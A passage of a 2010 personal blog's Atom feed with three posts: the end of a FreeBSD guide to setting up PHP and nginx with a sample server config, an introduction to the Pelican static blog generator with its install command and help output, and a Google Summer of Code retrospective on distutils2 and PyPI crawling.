&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;make&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;package&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;recursive&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;C&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;ports&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;lang&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;php5&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;extensions&lt;/span&gt;

&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;install&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;nginx&lt;/span&gt;
&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;make&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;config&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;recursive&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;C&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;ports&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;www&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;nginx&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;devel&lt;/span&gt;
&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;make&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;package&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;recursive&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;C&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;ports&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;www&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;nginx&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;devel&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now we have all the dependencies installed, we need to configure a bit
the&amp;nbsp;server.&lt;/p&gt;
&lt;p&gt;That&amp;#8217;s a simple thing in fact, but it could be good to have something
that will work without effort over&amp;nbsp;time.&lt;/p&gt;
&lt;p&gt;Here&amp;#8217;s a sample of my&amp;nbsp;configuration:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;server&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;server_name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;ndd&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;$path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;/path/to/your/files&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;root&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;$path&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;location&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="err"&gt;index&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;index.php&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;location&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;~*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^.+.(&lt;/span&gt;&lt;span class="nt"&gt;jpg&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="nt"&gt;jpeg&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="nt"&gt;gif&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="nt"&gt;css&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="nt"&gt;png&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="nt"&gt;js&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="nt"&gt;ico&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="nt"&gt;xml&lt;/span&gt;&lt;span class="o"&gt;)$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="err"&gt;access_log&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="err"&gt;off&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="err"&gt;expires&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="err"&gt;30d&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;location&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;php&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="err"&gt;fastcgi_param&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;SCRIPT_FILENAME&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;$path$fastcgi_script_name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="err"&gt;fastcgi_pass&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;backend&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="err"&gt;include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;fastcgi_params&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="err"&gt;}&lt;/span&gt;

&lt;span class="nt"&gt;upstream&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;backend&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="err"&gt;server&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;127.0.0.1:9000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And that&amp;#8217;s it&amp;nbsp;!&lt;/p&gt;</content><category term="code"></category></entry><entry><title>Pelican, a simple static blog generator in python</title><link href="https://blog.notmyidea.org/pelican-a-simple-static-blog-generator-in-python.html" rel="alternate"></link><published>2010-10-06T00:00:00+02:00</published><updated>2010-10-06T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2010-10-06:/pelican-a-simple-static-blog-generator-in-python.html</id><summary type="html">
&lt;p&gt;Those days, I&amp;#8217;ve wrote a little python application to fit my blogging
needs. I&amp;#8217;m an occasional blogger, a vim lover, I like restructured text
and DVCSes, so I&amp;#8217;ve made a little tool that makes good use of all&amp;nbsp;that.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://docs.getpelican.com"&gt;Pelican&lt;/a&gt; (for calepin) is just a simple
tool …&lt;/p&gt;</summary><content type="html">
&lt;p&gt;Those days, I&amp;#8217;ve wrote a little python application to fit my blogging
needs. I&amp;#8217;m an occasional blogger, a vim lover, I like restructured text
and DVCSes, so I&amp;#8217;ve made a little tool that makes good use of all&amp;nbsp;that.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://docs.getpelican.com"&gt;Pelican&lt;/a&gt; (for calepin) is just a simple
tool to generate your blog as static files, letting you using your
editor of choice (vim!). It&amp;#8217;s easy to extend, and has a template
support (via&amp;nbsp;jinja2).&lt;/p&gt;
&lt;p&gt;I&amp;#8217;ve made it to fit &lt;em&gt;my&lt;/em&gt; needs. I hope it will fit yours, but maybe it
wont, and it have not be designed to feet everyone&amp;#8217;s&amp;nbsp;needs.&lt;/p&gt;
&lt;p&gt;Need an example ? You&amp;#8217;re looking at it ! This weblog is using pelican
to be generated, also for the atom&amp;nbsp;feeds.&lt;/p&gt;
&lt;p&gt;I&amp;#8217;ve released it under &lt;span class="caps"&gt;AGPL&lt;/span&gt;, since I want all the modifications to be
profitable to all the&amp;nbsp;users.&lt;/p&gt;
&lt;p&gt;You can find a repository to fork at
&lt;a href="https://github.com/getpelican/pelican/"&gt;https://github.com/getpelican/pelican/&lt;/a&gt;. feel free to hack it&amp;nbsp;!&lt;/p&gt;
&lt;p&gt;If you just want to get started, use your installer of choice (pip,
easy_install, …) And then have a look to the help (pelican&amp;nbsp;&amp;#8212;help)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;pip&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;pelican
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="usage"&gt;Usage&lt;/h2&gt;
&lt;p&gt;Here&amp;#8217;s a sample usage of&amp;nbsp;pelican&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;pelican&lt;span class="w"&gt; &lt;/span&gt;.
writing&lt;span class="w"&gt; &lt;/span&gt;/home/alexis/projets/notmyidea.org/output/index.html
writing&lt;span class="w"&gt; &lt;/span&gt;/home/alexis/projets/notmyidea.org/output/tags.html
writing&lt;span class="w"&gt; &lt;/span&gt;/home/alexis/projets/notmyidea.org/output/categories.html
writing&lt;span class="w"&gt; &lt;/span&gt;/home/alexis/projets/notmyidea.org/output/archives.html
writing&lt;span class="w"&gt; &lt;/span&gt;/home/alexis/projets/notmyidea.org/output/category/python.html
writing
/home/alexis/projets/notmyidea.org/output/pelican-a-simple-static-blog-generator-in-python.html
Done&lt;span class="w"&gt; &lt;/span&gt;!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;You also can use the &amp;#8212;help option for the command line to get more&amp;nbsp;informations&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;$pelican&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--help
usage:&lt;span class="w"&gt; &lt;/span&gt;pelican&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;-h&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;-t&lt;span class="w"&gt; &lt;/span&gt;TEMPLATES&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;-o&lt;span class="w"&gt; &lt;/span&gt;OUTPUT&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;-m&lt;span class="w"&gt; &lt;/span&gt;MARKUP&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;SETTINGS&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;-b&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;               &lt;/span&gt;path

A&lt;span class="w"&gt; &lt;/span&gt;tool&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;generate&lt;span class="w"&gt; &lt;/span&gt;a&lt;span class="w"&gt; &lt;/span&gt;static&lt;span class="w"&gt; &lt;/span&gt;blog,&lt;span class="w"&gt; &lt;/span&gt;with&lt;span class="w"&gt; &lt;/span&gt;restructured&lt;span class="w"&gt; &lt;/span&gt;text&lt;span class="w"&gt; &lt;/span&gt;input&lt;span class="w"&gt; &lt;/span&gt;files.

positional&lt;span class="w"&gt; &lt;/span&gt;arguments:
&lt;span class="w"&gt;  &lt;/span&gt;path&lt;span class="w"&gt;                  &lt;/span&gt;Path&lt;span class="w"&gt; &lt;/span&gt;where&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;find&lt;span class="w"&gt; &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;content&lt;span class="w"&gt; &lt;/span&gt;files&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;default&lt;span class="w"&gt; &lt;/span&gt;is
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;content&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;.

optional&lt;span class="w"&gt; &lt;/span&gt;arguments:
&lt;span class="w"&gt;  &lt;/span&gt;-h,&lt;span class="w"&gt; &lt;/span&gt;--help&lt;span class="w"&gt;            &lt;/span&gt;show&lt;span class="w"&gt; &lt;/span&gt;this&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;help&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;message&lt;span class="w"&gt; &lt;/span&gt;and&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;exit&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-t&lt;span class="w"&gt; &lt;/span&gt;TEMPLATES,&lt;span class="w"&gt; &lt;/span&gt;--templates-path&lt;span class="w"&gt; &lt;/span&gt;TEMPLATES
&lt;span class="w"&gt;                        &lt;/span&gt;Path&lt;span class="w"&gt; &lt;/span&gt;where&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;find&lt;span class="w"&gt; &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;templates.&lt;span class="w"&gt; &lt;/span&gt;If&lt;span class="w"&gt; &lt;/span&gt;not&lt;span class="w"&gt; &lt;/span&gt;specified,
&lt;span class="w"&gt;                        &lt;/span&gt;will&lt;span class="w"&gt; &lt;/span&gt;uses&lt;span class="w"&gt; &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;ones&lt;span class="w"&gt; &lt;/span&gt;included&lt;span class="w"&gt; &lt;/span&gt;with&lt;span class="w"&gt; &lt;/span&gt;pelican.
&lt;span class="w"&gt;  &lt;/span&gt;-o&lt;span class="w"&gt; &lt;/span&gt;OUTPUT,&lt;span class="w"&gt; &lt;/span&gt;--output&lt;span class="w"&gt; &lt;/span&gt;OUTPUT
&lt;span class="w"&gt;                        &lt;/span&gt;Where&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;output&lt;span class="w"&gt; &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;generated&lt;span class="w"&gt; &lt;/span&gt;files.&lt;span class="w"&gt; &lt;/span&gt;If&lt;span class="w"&gt; &lt;/span&gt;not&lt;span class="w"&gt; &lt;/span&gt;specified,
&lt;span class="w"&gt;                        &lt;/span&gt;a&lt;span class="w"&gt; &lt;/span&gt;directory&lt;span class="w"&gt; &lt;/span&gt;will&lt;span class="w"&gt; &lt;/span&gt;be&lt;span class="w"&gt; &lt;/span&gt;created,&lt;span class="w"&gt; &lt;/span&gt;named&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;output&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;the
&lt;span class="w"&gt;                        &lt;/span&gt;current&lt;span class="w"&gt; &lt;/span&gt;path.
&lt;span class="w"&gt;  &lt;/span&gt;-m&lt;span class="w"&gt; &lt;/span&gt;MARKUP,&lt;span class="w"&gt; &lt;/span&gt;--markup&lt;span class="w"&gt; &lt;/span&gt;MARKUP
&lt;span class="w"&gt;                        &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;markup&lt;span class="w"&gt; &lt;/span&gt;language&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;use.&lt;span class="w"&gt; &lt;/span&gt;Currently&lt;span class="w"&gt; &lt;/span&gt;only
&lt;span class="w"&gt;                        &lt;/span&gt;ReSTreucturedtext&lt;span class="w"&gt; &lt;/span&gt;is&lt;span class="w"&gt; &lt;/span&gt;available.
&lt;span class="w"&gt;  &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;SETTINGS,&lt;span class="w"&gt; &lt;/span&gt;--settings&lt;span class="w"&gt; &lt;/span&gt;SETTINGS
&lt;span class="w"&gt;                        &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;settings&lt;span class="w"&gt; &lt;/span&gt;of&lt;span class="w"&gt; &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;application.&lt;span class="w"&gt; &lt;/span&gt;Default&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;None.
&lt;span class="w"&gt;  &lt;/span&gt;-b,&lt;span class="w"&gt; &lt;/span&gt;--debug
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Enjoy&amp;nbsp;:)&lt;/p&gt;</content><category term="code"></category></entry><entry><title>An amazing summer of code working on distutils2</title><link href="https://blog.notmyidea.org/an-amazing-summer-of-code-working-on-distutils2.html" rel="alternate"></link><published>2010-08-16T00:00:00+02:00</published><updated>2010-08-16T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2010-08-16:/an-amazing-summer-of-code-working-on-distutils2.html</id><summary type="html">
&lt;p&gt;The &lt;a href="http://code.google.com/soc/"&gt;Google Summer of Code&lt;/a&gt; I&amp;#8217;ve spent
working on &lt;a href="http://hg.python.org/distutils2/"&gt;distutils2&lt;/a&gt; is over. It
was a really amazing experience, for many&amp;nbsp;reasons.&lt;/p&gt;
&lt;p&gt;First of all, we had a very good team, we were 5 students working on
distutils2: &lt;a href="http://zubin71.wordpress.com"&gt;Zubin&lt;/a&gt;,
&lt;a href="http://wokslog.wordpress.com/"&gt;Éric&lt;/a&gt;,
&lt;a href="http://gsoc.djolonga.com/"&gt;Josip&lt;/a&gt;,
&lt;a href="http://konryd.blogspot.com/"&gt;Konrad&lt;/a&gt; and me. In addition,
&lt;a href="http://mouadino.blogspot.com/"&gt;Mouad&lt;/a&gt; have worked on …&lt;/p&gt;</summary><content type="html">
&lt;p&gt;The &lt;a href="http://code.google.com/soc/"&gt;Google Summer of Code&lt;/a&gt; I&amp;#8217;ve spent
working on &lt;a href="http://hg.python.org/distutils2/"&gt;distutils2&lt;/a&gt; is over. It
was a really amazing experience, for many&amp;nbsp;reasons.&lt;/p&gt;
&lt;p&gt;First of all, we had a very good team, we were 5 students working on
distutils2: &lt;a href="http://zubin71.wordpress.com"&gt;Zubin&lt;/a&gt;,
&lt;a href="http://wokslog.wordpress.com/"&gt;Éric&lt;/a&gt;,
&lt;a href="http://gsoc.djolonga.com/"&gt;Josip&lt;/a&gt;,
&lt;a href="http://konryd.blogspot.com/"&gt;Konrad&lt;/a&gt; and me. In addition,
&lt;a href="http://mouadino.blogspot.com/"&gt;Mouad&lt;/a&gt; have worked on the PyPI testing
infrastructure. You could find what each person have done on &lt;a href="http://bitbucket.org/tarek/distutils2/wiki/GSoC_2010_teams"&gt;the wiki
page of
distutils2&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We were in contact with each others really often, helping us when
possible (in #distutils), and were continuously aware of the state of
the work of each participant. This, in my opinion, have bring us in a
good&amp;nbsp;shape.&lt;/p&gt;
&lt;p&gt;Then, I&amp;#8217;ve learned a lot. Python packaging was completely new to me at
the time of the GSoC start, and I was pretty unfamiliar with python good
practices too, as I&amp;#8217;ve been introducing myself to python in the late&amp;nbsp;2009.&lt;/p&gt;
&lt;p&gt;I&amp;#8217;ve recently looked at some python code I wrote just three months ago,
and I was amazed to think about many improvements to made on it. I guess
this is a good indicator of the path I&amp;#8217;ve traveled since I wrote&amp;nbsp;it.&lt;/p&gt;
&lt;p&gt;This summer was awesome because I&amp;#8217;ve learned about python good
practices, now having some strong
&lt;a href="http://mercurial.selenic.com/"&gt;mercurial&lt;/a&gt; knowledge, and I&amp;#8217;ve seen a
little how the python community&amp;nbsp;works.&lt;/p&gt;
&lt;p&gt;Then, I would like to say a big thanks to all the mentors that have
hanged around while needed, on &lt;span class="caps"&gt;IRC&lt;/span&gt; or via mail, and especially my mentor
for this summer, &lt;a href="http://tarek.ziade.org"&gt;Tarek Ziadé&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Thanks a lot for your motivation, your leadership and your cheerfulness,
even with a new-born and a new&amp;nbsp;work!&lt;/p&gt;
&lt;h2 id="why"&gt;Why&amp;nbsp;?&lt;/h2&gt;
&lt;p&gt;I wanted to work on python packaging because, as the time pass, we were
having a sort of complex tools in this field. Each one wanted to add
features to distutils, but not in a standard&amp;nbsp;way.&lt;/p&gt;
&lt;p&gt;Now, we have PEPs that describes some format we agreed on (see &lt;span class="caps"&gt;PEP&lt;/span&gt; 345),
and we wanted to have a tool on which users can base their code on,
that&amp;#8217;s &lt;a href="http://hg.python.org/distutils2/"&gt;distutils2&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="my-job"&gt;My&amp;nbsp;job&lt;/h2&gt;
&lt;p&gt;I had to provide a way to crawl the PyPI indexes in a simple way, and do
some installation / uninstallation&amp;nbsp;scripts.&lt;/p&gt;
&lt;p&gt;All the work done is available in &lt;a href="http://bitbucket.org/ametaireau/distutils2/"&gt;my bitbucket
repository&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id="crawling-the-pypi-indexes"&gt;Crawling the PyPI&amp;nbsp;indexes&lt;/h3&gt;
&lt;p&gt;There are two ways of requesting informations from the indexes: using
the &amp;#8220;simple&amp;#8221; index, that is a kind of &lt;span class="caps"&gt;REST&lt;/span&gt; index, and using &lt;span class="caps"&gt;XML&lt;/span&gt;-&lt;span class="caps"&gt;RPC&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;I&amp;#8217;ve done the two implementations, and a high level &lt;span class="caps"&gt;API&lt;/span&gt; to query those
twos. Basically, this supports the mirroring infrastructure defined in
&lt;span class="caps"&gt;PEP&lt;/span&gt; 381. So far, the work I&amp;#8217;ve done is gonna be used in pip (they&amp;#8217;ve
basically copy/paste the code, but this will change as soon as we get
something completely stable for distutils2), and that&amp;#8217;s a good news, as
it was the main reason for what I&amp;#8217;ve done&amp;nbsp;that.&lt;/p&gt;
&lt;p&gt;I&amp;#8217;ve tried to have an unified &lt;span class="caps"&gt;API&lt;/span&gt; for the clients, to switch from one to
another implementation easily. I&amp;#8217;m already thinking of adding others
crawlers to this stuff, and it was made to be&amp;nbsp;extensible.&lt;/p&gt;
&lt;p&gt;If you want to get more informations about the crawlers/PyPI clients,
please refer to the distutils2 documentation, especially &lt;a href="http://distutils2.notmyidea.org/library/distutils2.index.html"&gt;the pages
about
indexes&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;You can find the changes I made about this in the
&lt;a href="http://hg.python.org/distutils2/"&gt;distutils2&lt;/a&gt; source code&amp;nbsp;.&lt;/p&gt;
&lt;h3 id="installation-uninstallation-scripts"&gt;Installation / Uninstallation&amp;nbsp;scripts&lt;/h3&gt;
&lt;p&gt;Next step was to think about an installation script, and an uninstaller.
I&amp;#8217;ve not done the uninstaller part, and it&amp;#8217;s a smart part, as it&amp;#8217;s
basically removing some files from the system, so I&amp;#8217;ll probably do it in
a near&amp;nbsp;future.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://hg.python.org/distutils2/"&gt;distutils2&lt;/a&gt; provides a way to install
distributions, and to handle dependencies between releases. For now,
this support is only about the last version of the &lt;span class="caps"&gt;METADATA&lt;/span&gt; (1.2) (See,
the &lt;span class="caps"&gt;PEP&lt;/span&gt; 345), but I&amp;#8217;m working on a compatibility layer for the old
metadata, and for the informations provided via &lt;span class="caps"&gt;PIP&lt;/span&gt; requires.txt, for&amp;nbsp;instance.&lt;/p&gt;
&lt;h3 id="extra-work"&gt;Extra&amp;nbsp;work&lt;/h3&gt;
&lt;p&gt;Also, I&amp;#8217;ve done some extra work. this&amp;nbsp;includes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;working on the &lt;span class="caps"&gt;PEP&lt;/span&gt; 345, and having some discussion about it (about
    the names of some&amp;nbsp;fields).&lt;/li&gt;
&lt;li&gt;writing a PyPI server mock, useful for tests. you can find more
    information about it on the
    &lt;a href="http://distutils.notmyidea.org"&gt;documentation&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="futures-plans"&gt;Futures&amp;nbsp;plans&lt;/h2&gt;
&lt;p&gt;As I said, I&amp;#8217;ve enjoyed working on distutils2, and the people I&amp;#8217;ve met
here are really pleasant to work with. So I &lt;em&gt;want&lt;/em&gt; to continue
contributing on python, and especially on python packaging, because
there is still a lot of things to do in this scope, to get something
really&amp;nbsp;usable.&lt;/p&gt;
&lt;p&gt;I&amp;#8217;m not plainly satisfied by the work I&amp;#8217;ve done, so I&amp;#8217;ll probably tweak
it a bit: the installer part is not yet completely finished, and I want
to add support for a real
&lt;a href="http://en.wikipedia.org/wiki/Representational_State_Transfer"&gt;&lt;span class="caps"&gt;REST&lt;/span&gt;&lt;/a&gt;
index in the&amp;nbsp;future.&lt;/p&gt;
&lt;p&gt;We&amp;#8217;ll talk again of this in the next months, probably, but we definitely
need a real
&lt;a href="http://en.wikipedia.org/wiki/Representational_State_Transfer"&gt;&lt;span class="caps"&gt;REST&lt;/span&gt;&lt;/a&gt; &lt;span class="caps"&gt;API&lt;/span&gt;
for &lt;a href="http://pypi.python.org"&gt;PyPI&lt;/a&gt;, as the &amp;#8220;simple&amp;#8221; index &lt;em&gt;is&lt;/em&gt; an ugly
hack, in my opinion. I&amp;#8217;ll work on a serious proposition about this,
maybe involving &lt;a href="http://couchdb.org"&gt;CouchDB&lt;/a&gt;, as it seems to be a good
option for what we want&amp;nbsp;here.&lt;/p&gt;
&lt;h2 id="issues"&gt;Issues&lt;/h2&gt;
&lt;p&gt;I&amp;#8217;ve encountered some issues during this summer. The main one is that&amp;#8217;s
hard to work remotely, especially being in the same room that we live,
with others. I like to just think about a project with other people, a
paper and a pencil, no computers. This have been not so possible at the
start of the project, as I needed to read a lot of code to understand
the codebase, and then to read/write&amp;nbsp;emails.&lt;/p&gt;
&lt;p&gt;I&amp;#8217;ve finally managed to work in an office, so good point for home/office&amp;nbsp;separation.&lt;/p&gt;
